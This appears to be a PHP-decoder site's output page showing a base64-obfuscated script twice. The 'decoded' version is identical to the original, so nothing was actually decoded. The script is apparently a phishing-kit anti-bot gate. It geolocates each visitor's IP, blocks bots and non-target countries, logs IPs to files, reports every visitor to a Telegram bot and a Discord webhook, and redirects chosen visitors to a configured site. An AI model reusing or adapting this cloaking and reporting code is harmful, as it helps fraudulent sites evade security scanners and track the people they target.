Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),1);ini_set(base64_decode('ZGlzcGxheV9z..

Decoded Output download

<?php ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),1);ini_set(base64_decode('ZGlzcGxheV9zdGFydHVwX2Vycm9ycw=='),1);error_reporting(E_ALL);include base64_decode('c2V0dGluZ3MucGhw');function CheckBrowser(){global $rkdx0,$rnpi1,$ndtv2,$lqfr3;$ohts4=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];function navTazar(){$ohts4=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$bcfm5=file_get_contents("http://ip-api.com/json/$ohts4");$ldyr6=json_decode($bcfm5,true);return $ldyr6;}$ldyr6=navTazar();if($ldyr6[base64_decode('c3RhdHVz')]!=base64_decode('ZmFpbA==')){$blgh7=$ldyr6[base64_decode('aXNw')];$zufd8=$ldyr6[base64_decode('Y291bnRyeUNvZGU=')];}else{$blgh7=base64_decode('SW50cm91dmFibGU=');$zufd8=base64_decode('SW50cm91dmFibGU=');}$zcde9=base64_decode('YmxvY2tlZF9pcHMudHh0');if(!file_exists($zcde9)){file_put_contents($zcde9,'');}$psnw10=base64_decode('YWNjZXB0ZWRfaXBzLnR4dA==');if(!file_exists($psnw10)){file_put_contents($psnw10,'');}$ibpz11=file(base64_decode('YmxvY2tlZF9pcHMudHh0'),FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if(in_array($ohts4,$ibpz11)){if($rkdx0[base64_decode('bm90aWZfdGVsZWdyYW0=')]){sendTelegramWebhook(base64_decode('QmxvY2tlZCBJUCBmcm9tIGxpc3Q6IA==').$ohts4);}if($rkdx0[base64_decode('bm90aWZfZGlzY29yZA==')]){sendDiscordWebhook(base64_decode('QmxvY2tlZCBJUCBmcm9tIGxpc3Q6IA==').$ohts4);}die(base64_decode('WW91IGFyZSBibG9ja2VkLiBSb2JvdHMgYXJlIG5vdCBhbGxvd2VkLg=='));}$blmx12=file(base64_decode('YWNjZXB0ZWRfaXBzLnR4dA=='),FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if($zufd8==$rkdx0[base64_decode('cGF5cw==')]){if($rkdx0[base64_decode('bm90aWZfdGVsZWdyYW0=')]){sendTelegramWebhook(base64_decode('QWNjZXB0ZWQgSVA6IA==').$ohts4);}if($rkdx0[base64_decode('bm90aWZfZGlzY29yZA==')]){sendDiscordWebhook(base64_decode('QWNjZXB0ZWQgSVA6IA==').$ohts4);}if(!in_array($ohts4,$blmx12)){file_put_contents(base64_decode('YWNjZXB0ZWRfaXBzLnR4dA=='),$ohts4.base64_decode('Cg=='),FILE_APPEND|LOCK_EX);}header(base64_decode('TG9jYXRpb246IA==').$rkdx0[base64_decode('bmRk')]);exit;}else{if(!in_array($ohts4,$ibpz11)){file_put_contents(base64_decode('YmxvY2tlZF9pcHMudHh0'),$ohts4.base64_decode('Cg=='),FILE_APPEND|LOCK_EX);}if($rkdx0[base64_decode('bm90aWZfdGVsZWdyYW0=')]){sendTelegramWebhook(base64_decode('QmxvY2tlZCBJUDog').$ohts4);}if($rkdx0[base64_decode('bm90aWZfZGlzY29yZA==')]){sendDiscordWebhook(base64_decode('QmxvY2tlZCBJUDog').$ohts4);}die(base64_decode('Um9ib3RzIGFyZSBub3QgYWxsb3dlZCBwbGVhc2UgY2hlY2sgeW91ciBQUk9YWS9WUE4gc2V0dGluZ3Mu'));}}function sendTelegramWebhook($pnuv13){global $rnpi1,$ndtv2;$jxlx14=base64_decode('aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==').$rnpi1.base64_decode('L3NlbmRNZXNzYWdl');$typf15=array(base64_decode('Y2hhdF9pZA==')=>$ndtv2,base64_decode('dGV4dA==')=>$pnuv13);$leqk16=array(base64_decode('aHR0cA==')=>array(base64_decode('bWV0aG9k')=>base64_decode('UE9TVA=='),base64_decode('aGVhZGVy')=>base64_decode('Q29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ='),base64_decode('Y29udGVudA==')=>http_build_query($typf15)));$azmp17=stream_context_create($leqk16);$qdkl18=@file_get_contents($jxlx14,false,$azmp17);if($qdkl18===false){$isiu19=error_get_last();echo base64_decode('VGVsZWdyYW0gQVBJIEVycm9yOiA=').$isiu19[base64_decode('bWVzc2FnZQ==')];}return $qdkl18;}function sendDiscordWebhook($pnuv13){global $lqfr3;$typf15=array(base64_decode('Y29udGVudA==')=>$pnuv13);$leqk16=array(base64_decode('aHR0cA==')=>array(base64_decode('bWV0aG9k')=>base64_decode('UE9TVA=='),base64_decode('aGVhZGVy')=>base64_decode('Q29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9qc29u'),base64_decode('Y29udGVudA==')=>json_encode($typf15)));$azmp17=stream_context_create($leqk16);$qdkl18=file_get_contents($lqfr3,false,$azmp17);return $qdkl18;}CheckBrowser();?>

Did this file decode correctly?

Original Code

<?php ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),1);ini_set(base64_decode('ZGlzcGxheV9zdGFydHVwX2Vycm9ycw=='),1);error_reporting(E_ALL);include base64_decode('c2V0dGluZ3MucGhw');function CheckBrowser(){global $rkdx0,$rnpi1,$ndtv2,$lqfr3;$ohts4=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];function navTazar(){$ohts4=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$bcfm5=file_get_contents("http://ip-api.com/json/$ohts4");$ldyr6=json_decode($bcfm5,true);return $ldyr6;}$ldyr6=navTazar();if($ldyr6[base64_decode('c3RhdHVz')]!=base64_decode('ZmFpbA==')){$blgh7=$ldyr6[base64_decode('aXNw')];$zufd8=$ldyr6[base64_decode('Y291bnRyeUNvZGU=')];}else{$blgh7=base64_decode('SW50cm91dmFibGU=');$zufd8=base64_decode('SW50cm91dmFibGU=');}$zcde9=base64_decode('YmxvY2tlZF9pcHMudHh0');if(!file_exists($zcde9)){file_put_contents($zcde9,'');}$psnw10=base64_decode('YWNjZXB0ZWRfaXBzLnR4dA==');if(!file_exists($psnw10)){file_put_contents($psnw10,'');}$ibpz11=file(base64_decode('YmxvY2tlZF9pcHMudHh0'),FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if(in_array($ohts4,$ibpz11)){if($rkdx0[base64_decode('bm90aWZfdGVsZWdyYW0=')]){sendTelegramWebhook(base64_decode('QmxvY2tlZCBJUCBmcm9tIGxpc3Q6IA==').$ohts4);}if($rkdx0[base64_decode('bm90aWZfZGlzY29yZA==')]){sendDiscordWebhook(base64_decode('QmxvY2tlZCBJUCBmcm9tIGxpc3Q6IA==').$ohts4);}die(base64_decode('WW91IGFyZSBibG9ja2VkLiBSb2JvdHMgYXJlIG5vdCBhbGxvd2VkLg=='));}$blmx12=file(base64_decode('YWNjZXB0ZWRfaXBzLnR4dA=='),FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);if($zufd8==$rkdx0[base64_decode('cGF5cw==')]){if($rkdx0[base64_decode('bm90aWZfdGVsZWdyYW0=')]){sendTelegramWebhook(base64_decode('QWNjZXB0ZWQgSVA6IA==').$ohts4);}if($rkdx0[base64_decode('bm90aWZfZGlzY29yZA==')]){sendDiscordWebhook(base64_decode('QWNjZXB0ZWQgSVA6IA==').$ohts4);}if(!in_array($ohts4,$blmx12)){file_put_contents(base64_decode('YWNjZXB0ZWRfaXBzLnR4dA=='),$ohts4.base64_decode('Cg=='),FILE_APPEND|LOCK_EX);}header(base64_decode('TG9jYXRpb246IA==').$rkdx0[base64_decode('bmRk')]);exit;}else{if(!in_array($ohts4,$ibpz11)){file_put_contents(base64_decode('YmxvY2tlZF9pcHMudHh0'),$ohts4.base64_decode('Cg=='),FILE_APPEND|LOCK_EX);}if($rkdx0[base64_decode('bm90aWZfdGVsZWdyYW0=')]){sendTelegramWebhook(base64_decode('QmxvY2tlZCBJUDog').$ohts4);}if($rkdx0[base64_decode('bm90aWZfZGlzY29yZA==')]){sendDiscordWebhook(base64_decode('QmxvY2tlZCBJUDog').$ohts4);}die(base64_decode('Um9ib3RzIGFyZSBub3QgYWxsb3dlZCBwbGVhc2UgY2hlY2sgeW91ciBQUk9YWS9WUE4gc2V0dGluZ3Mu'));}}function sendTelegramWebhook($pnuv13){global $rnpi1,$ndtv2;$jxlx14=base64_decode('aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==').$rnpi1.base64_decode('L3NlbmRNZXNzYWdl');$typf15=array(base64_decode('Y2hhdF9pZA==')=>$ndtv2,base64_decode('dGV4dA==')=>$pnuv13);$leqk16=array(base64_decode('aHR0cA==')=>array(base64_decode('bWV0aG9k')=>base64_decode('UE9TVA=='),base64_decode('aGVhZGVy')=>base64_decode('Q29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ='),base64_decode('Y29udGVudA==')=>http_build_query($typf15)));$azmp17=stream_context_create($leqk16);$qdkl18=@file_get_contents($jxlx14,false,$azmp17);if($qdkl18===false){$isiu19=error_get_last();echo base64_decode('VGVsZWdyYW0gQVBJIEVycm9yOiA=').$isiu19[base64_decode('bWVzc2FnZQ==')];}return $qdkl18;}function sendDiscordWebhook($pnuv13){global $lqfr3;$typf15=array(base64_decode('Y29udGVudA==')=>$pnuv13);$leqk16=array(base64_decode('aHR0cA==')=>array(base64_decode('bWV0aG9k')=>base64_decode('UE9TVA=='),base64_decode('aGVhZGVy')=>base64_decode('Q29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9qc29u'),base64_decode('Y29udGVudA==')=>json_encode($typf15)));$azmp17=stream_context_create($leqk16);$qdkl18=file_get_contents($lqfr3,false,$azmp17);return $qdkl18;}CheckBrowser();?>

Function Calls

ini_set 2
base64_decode 3
error_reporting 1

Variables

None

Stats

MD5 3ad5587e26793c84472fb8f3fdb46cce
Eval Count 0
Decode Time 74 ms